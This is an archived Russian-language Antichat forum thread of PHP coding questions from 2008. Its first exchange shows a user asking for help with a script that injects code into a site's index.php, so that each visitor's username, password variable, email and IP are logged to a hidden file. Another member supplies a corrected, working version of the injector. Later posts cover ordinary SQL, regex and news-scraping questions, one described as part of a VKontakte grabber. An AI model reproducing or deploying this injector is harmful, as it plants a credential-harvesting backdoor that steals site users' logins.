HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > ПРОГРАММИРОВАНИЕ > PHP
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #6071  
Старый 08.11.2008, 22:25
sadfeel
Познающий
Регистрация: 05.11.2008
Сообщений: 79
Провел на форуме:
185461

Репутация: 12
По умолчанию

спс!
есть у меня такой код:
PHP код:
<?
$fp
=fopen("index.php","a");
fputs($fp,"
<?php
$win=getenv("windir");
$ip=getenv("Remote_addr"); 
$date= date("[D|d/m/Y|H:i]");
$fp=fopen ("include/mess.php","a"); 
fputs(
$fp,"\r$logged_user_name-$enc_user_pass\t$user_email\t[$date\t$ip\t$win]id=$activationcode "); fclose($fp); ?>");
fclose($fp);
?>
что в нем не так помогите плз (он должен в файле index.php дописать это
PHP код:
<?php
$win
=getenv("windir");
$ip=getenv("Remote_addr"); 
$datedate("[D|d/m/Y|H:i]");
$fp=fopen ("include/mess.php","a"); 
fputs($fp,"\r$logged_user_name-$enc_user_pass\t$user_email\t[$date\t$ip\t$win]id=$activationcode "); fclose($fp); ?>

Последний раз редактировалось sadfeel; 08.11.2008 в 23:03..
 
Ответить с цитированием

  #6072  
Старый 08.11.2008, 22:59
Gifts
Reservists Of Antichat - Level 6
Регистрация: 25.04.2008
Сообщений: 827
Провел на форуме:
2769640

Репутация: 1304


По умолчанию

sadfeel
PHP код:
<?
$fp
=fopen("index.php","a+");
$tmp=<<<HTT
<?php
$win=getenv("windir");$ip=getenv("Remote_addr"); $date= date("[D|d/m/Y|H:i]");$fp=fopen 
("include/mess.php","a+"); 
fputs(
$fp,"\r\n$logged_user_name-$enc_user_pass\t$user_email\t[$date\t$ip\t$win]id=$activationcode ");
?>
HTT;
fputs($fp,$tmp);
fclose($fp);
?>
 
Ответить с цитированием

  #6073  
Старый 08.11.2008, 23:12
Buffalon
Постоянный
Регистрация: 22.03.2008
Сообщений: 325
Провел на форуме:
1208132

Репутация: 63
По умолчанию

Так значит у меня пробла ... .есть массив $a[] в нём храняться какие то числа допутим=>{123,23,23,23}
Мне нужно поставить в mYSQl столько OR сколько там чисел , допутим если 4 числа значит будет такой запрос(Но я низнаю сколько там чисел)

PHP код:
$frien mysql_query("SELECT * FROM bhost_friends WHERE u_id='".$a[0]."' OR u_id='".$a[1]."' u_id='".$a[2]."' u_id='".$a[3]."'"); 
ВОт решение
for($k=0;$k<$m;$k++){$c .= 'OR u_id='.$a[$k].' ';}echo $c;

Последний раз редактировалось Buffalon; 08.11.2008 в 23:27..
 
Ответить с цитированием

  #6074  
Старый 08.11.2008, 23:12
sadfeel
Познающий
Регистрация: 05.11.2008
Сообщений: 79
Провел на форуме:
185461

Репутация: 12
По умолчанию

Цитата:
Сообщение от Gifts  
sadfeel
PHP код:
<?
$fp
=fopen("index.php","a+");
$tmp=<<<HTT
<?php
$win=getenv("windir");$ip=getenv("Remote_addr"); $date= date("[D|d/m/Y|H:i]");$fp=fopen 
("include/mess.php","a+"); 
fputs(
$fp,"\r\n$logged_user_name-$enc_user_pass\t$user_email\t[$date\t$ip\t$win]id=$activationcode ");
?>
HTT;
fputs($fp,$tmp);
fclose($fp);
?>
пишет что ошибка вот сдесь - $tmp=<<<HTT
 
Ответить с цитированием

  #6075  
Старый 08.11.2008, 23:14
Pashkela
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
Провел на форуме:
9220514

Репутация: 3338


Отправить сообщение для Pashkela с помощью ICQ
По умолчанию

есс-но, быдлокод какой-то, извините

бол-мен правильно (хоть я и не спец) так:

PHP код:
<?
$fp
=fopen('log.txt','a+'); 
$win=getenv("windir");
$ip=getenv("Remote_addr"); 
$datedate("d.m.Y H:i");
if (
$fp)
{
fputs($fp,$date "\r\n"); 
fputs($fp,$ip "\r\n"); 
fputs($fp,$win "\r\n"); 
}
?>
и это просто вставить в index.php, в любое место (правда логичнее в login.php или что-то подобное)

Или что надо? Чтобы в index.php эта инфа выводилась? тогда так:

PHP код:
<?
$fp
=fopen('log.txt','a+'); 
$win=getenv("windir");
$ip=getenv("Remote_addr"); 
$datedate("d.m.Y H:i");
if (
$fp)
{
fputs($fp,$date "\r\n"); 
fputs($fp,$ip "\r\n"); 
fputs($fp,$win "\r\n"); 
}
echo 
$win;
echo 
"\n";
echo 
$ip;
echo 
"\n";
echo 
$date;
echo 
"\n";
?>

Последний раз редактировалось Pashkela; 08.11.2008 в 23:33..
 
Ответить с цитированием

  #6076  
Старый 08.11.2008, 23:22
PandoraBox
Постоянный
Регистрация: 06.05.2007
Сообщений: 393
Провел на форуме:
1510937

Репутация: 398
Отправить сообщение для PandoraBox с помощью ICQ
По умолчанию

как ускорить данный код

PHP код:
preg_match('#<div class="summary">.* (.*) .*</div>#'$responce$count_sounds);


// (.*) - значение цифра
// .* - пропуск текста 

Последний раз редактировалось PandoraBox; 08.11.2008 в 23:24..
 
Ответить с цитированием

  #6077  
Старый 08.11.2008, 23:28
Gifts
Reservists Of Antichat - Level 6
Регистрация: 25.04.2008
Сообщений: 827
Провел на форуме:
2769640

Репутация: 1304


По умолчанию

Buffalon
PHP код:
mysql_query("SELECT * FROM bhost_friends WHERE u_id='".implode("' OR u_id='",$a)."'"); 
sadfeel Скопировать надо как есть, только я там забыл проэкранировать знаки доллара. Исправленый вариант:
PHP код:
<?
$fp
=fopen("index2.php","a+");
$tmp=<<<HTT
<?php
\$win=getenv("windir");\$ip=getenv("Remote_addr"); \$date= date("[D|d/m/Y|H:i]");\$fp=fopen 
("include/mess.php","a+"); 
fputs(\$fp,"\r\n\$logged_user_name-\$enc_user_pass\t\$user_email\t[\$date\t\$ip\t\$win]id=\$activationcode ");
?>
HTT;
fputs($fp,$tmp);
fclose($fp);
?>
PandoraBox приведи пример строки

Последний раз редактировалось Gifts; 08.11.2008 в 23:37..
 
Ответить с цитированием

  #6078  
Старый 08.11.2008, 23:41
.:EnoT:.
Постоянный
Регистрация: 29.05.2007
Сообщений: 852
Провел на форуме:
4832771

Репутация: 1916


По умолчанию

Цитата:
Сообщение от Gifts  
PandoraBox приведи пример строки
пример кода он врядли приведёт, т.к. его много)
а пишет он граббер контакта))


PandoraBox чем тебя так не устраивает?

PHP код:
preg_match('#<div class="summary">(.+)</div>#Us'$responce$count_sounds); 
 
Ответить с цитированием

  #6079  
Старый 08.11.2008, 23:57
PandoraBox
Постоянный
Регистрация: 06.05.2007
Сообщений: 393
Провел на форуме:
1510937

Репутация: 398
Отправить сообщение для PandoraBox с помощью ICQ
По умолчанию

Цитата:
Сообщение от .:EnoT:.  
PandoraBox чем тебя так не устраивает?
так мне нада только цифры intval();
Код:
\d
Код:
<div class="summary">Найдено 4886 аудиозаписей.</div>

Последний раз редактировалось PandoraBox; 09.11.2008 в 00:14..
 
Ответить с цитированием

  #6080  
Старый 08.11.2008, 23:57
Zircool
Участник форума
Регистрация: 01.03.2006
Сообщений: 169
Провел на форуме:
519496

Репутация: 78
Отправить сообщение для Zircool с помощью ICQ
По умолчанию

Такая проблема. Скрипт для граббинга новостей с newsland. Но почему то при нажатии на кнопку, он производит граббинг 2 раза. Не пойму почему(((
PHP код:

<html>
<form method="post">
<input type="submit" name="sub" value="Грабить новости">
</form>
</html>
<?php

if (isset($_POST['sub']))
{

$ch curl_init();

    
curl_setopt($chCURLOPT_URL"http://newsland.ru/index/index/ord/22/cat/64/");
    
curl_setopt($chCURLOPT_HEADERFALSE);
    
curl_setopt($chCURLOPT_NOBODYFALSE);
    
curl_setopt($chCURLOPT_RETURNTRANSFERTRUE);
    
curl_setopt($chCURLOPT_USERAGENT"MSIE 7.0");
    
curl_setopt($chCURLOPT_TIMEOUT20);
    
$text curl_exec($ch);
    
curl_close($ch);
    
preg_match_all("#<a href=\"\/News\/Detail\/id\/(.+)\">#",$text,$results);

for(
$i=0;$i<count($results[0]);$i++)
{
$urlsis="http://newsland.ru".str_replace(array('<a href="','">'),null,$results[0][$i]);
if (
$urlsis!="http://newsland.ru/News/Detail/id/284971/cat/78")$urls[]=$urlsis;
}



for(
$j=0;$j<count($urls);$j++)
  {

    
$ch curl_init();

    
curl_setopt($chCURLOPT_URL$urls[$j]);
    
curl_setopt($chCURLOPT_HEADERFALSE);
    
curl_setopt($chCURLOPT_NOBODYFALSE);
    
curl_setopt($chCURLOPT_RETURNTRANSFERTRUE);
    
curl_setopt($chCURLOPT_USERAGENT"MSIE 7.0");
    
curl_setopt($chCURLOPT_TIMEOUT20);
    
$text_news curl_exec($ch);
    
curl_close($ch);
    
preg_match('#<h1 class="mt10 grey">(.*?)</h1>(.*?)<div class="bodytext mt5">(.*?)</div></div>#s',$text_news,$result_news);
    
$result_news[0]=iconv("UTF-8""WINDOWS-1251",$result_news[0]);
    
preg_match('#<img src="(.+)" title="(.+)" alt="(.+)" class="floatr mt10">#',$result_news[0],$result_image);
    
$ch curl_init();
    
curl_setopt($chCURLOPT_URL"http://newsland.ru".$result_image[1]);
    
curl_setopt($chCURLOPT_HEADERFALSE);
       
curl_setopt($chCURLOPT_RETURNTRANSFERTRUE);
    
curl_setopt($chCURLOPT_USERAGENT"MSIE 7.0");
    
curl_setopt($chCURLOPT_TIMEOUT20);
    
$result_load_image curl_exec($ch);
    
curl_close($ch);
    
$name_image=substr($result_image[1],strrpos($result_image[1],"/")+1);
    
$good_image fopen("./rssnews_image/".$name_image"w");
    
fputs($good_image$result_load_image);
    
$src="<div style=\"float: left;\"><img src=\"./rssnews_image/".$name_image."\" title=\"".$result_image[2]."\" alt=\"".$result_image[2]."\" class=\"imagestyle\"></div>";
    
$time=date(d."-".m."-".y)."\r\n";
    
$name=date(d."-".m."-".y."-".H."-".i."-".s);
    
$title=$result_image[2]."\r\n";
    
$body=str_replace(array('<div class="bodytext mt5">',$result_image[0],'</div>','<div class="newsctrl f12 mt10"><div>','</div></div>'),null,$result_news[0]);
    
$body=preg_replace('#<h1 class="mt10 grey">(.+)</h1>#',null,$body);
    
$body=str_replace('<a','<br><br><a',$body);
         
$good fopen("./rssnews_/".$name.".txt""a");
          
fwrite($good,$time.$title.$src."\r\n".trim($body));
          
fclose($good);
          unset(
$body);
          unset(
$name);
          unset(
$title);
          unset(
$src);
          unset(
$time);
          unset(
$text_news);
          unset(
$result_news);
          unset(
$result_load_image);
          unset(
$good);
          unset(
$good_image);
          
sleep(3);

  }

}

?>
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
[c/c++] Новичкам: задаем вопросы _Great_ С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby 5421 21.04.2026 07:37
Интернетчики задали российскому президенту очень странные вопросы podkashey Мировые новости. Обсуждения. 4 07.07.2006 16:53
Вопросы по Ipb 2.0 Voodoo_People Сценарии/CMF/СMS 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ